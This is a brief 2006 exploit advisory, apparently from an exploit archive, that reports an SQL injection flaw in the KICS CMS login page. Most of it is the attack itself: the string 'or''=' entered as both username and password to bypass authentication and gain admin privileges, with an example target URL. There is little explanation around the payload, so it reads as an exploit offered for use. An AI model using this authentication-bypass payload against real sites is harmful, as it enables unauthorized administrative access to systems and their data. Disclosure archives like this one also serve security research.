KICS-cms.txt

Posted on 21 October 2006

*********************** * Tunis the 18/10/2006* * bug found by fireboy* *********************** product:KICS CMS vendor:http://www.kinesis.com.au/ there is an sql injection problem in KICS CMS login page and it can be exploited to gain admin privileges. exploit: user: 'or''=' pass: 'or''=' example:http://www.target.com/kicscms/index.asp thx